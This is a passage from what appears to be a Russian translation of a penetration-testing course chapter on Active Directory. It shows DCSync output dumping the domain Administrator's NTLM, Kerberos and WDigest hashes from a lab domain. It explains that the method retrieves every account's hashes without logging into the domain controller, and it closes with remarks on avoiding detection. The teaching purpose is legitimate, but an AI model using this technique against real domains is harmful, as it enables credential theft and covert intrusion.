Password last change : 05/02/2018 19.33.10
Object Security ID   : S-1-5-21-1602875587-2787523311-2599479668-500
Object Relative ID   : 500

Credentials:
    Hash NTLM: e2b475c11da2a0748290d87aa966c327
    ntlm- 0: e2b475c11da2a0748290d87aa966c327
    lm - 0: 913b84377b5cb6d210ca519826e7b5f5

Supplemental Credentials:
\* Primary:NTLM-Strong-NTOWF \*
  Random Value : f62e88f00dff79bc79f8bad31b3ffa7d

\* Primary:Kerberos-Newer-Keys \*
  Default Salt : CORP.COMAdministrator
  Default Iterations : 4096
  Credentials
  aes256_hmac (4096): 4c6300b908619dc7a0788da81ae5903c2c97c5160d0d9bed85cfd5af02dabf01
  aes128_hmac (4096): 85b66d5482fc19858dadd07f1d9b818a
  des_cbc_md5 (4096): 021c6df8bf07834a

\* Primary:Kerberos \*
  Default Salt : CORP.COMAdministrator
  Credentials
  des_cbc_md5 : 021c6df8bf07834a

\* Packages \*
  NTLM-Strong-NTOWF

\* Primary:WDigest \*
  01  4ec8821bb09675db670e66998d2161bf
  02  3c9be2ff39c36efd2f84b63aa656d09a
  03  2cf1734936287692601b7e36fc01e2d7
  04  4ec8821bb09675db670e66998d2161bf
  05  3c9be2ff39c36efd2f84b63aa656d09a
...
Листинг 68 - Дамп хешей пароля пользователя Administrator с помощью DCSync

Дамп содержит несколько хэшей, соответствующих последним двадцати девяти используемым паролям пользователя, а также AES хэши.

Используя вышеприведенную методику, мы можем запросить обновление репликации с контроллера домена и получить хэши паролей каждой учетной записи в Active Directory без входа на контроллер домена.

Заключение

Эта глава представила обзор и дала некоторое представление о Active Directory и связанной с ней безопасности. Несмотря на то, что здесь было рассмотрено и объяснено много техник, существуют множество других, заслуживающих внимания.

Особо следует отметить, что в этой главе очень мало внимания уделялось операционной безопасности, и в зависимости от зрелости клиента, возможно, стоит подумать о том, как избежать обнаружения, не выполняя вслепую каждую отдельную команду и технику, показанную при сборе информации и боковом перемещении (lateral movenent).
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!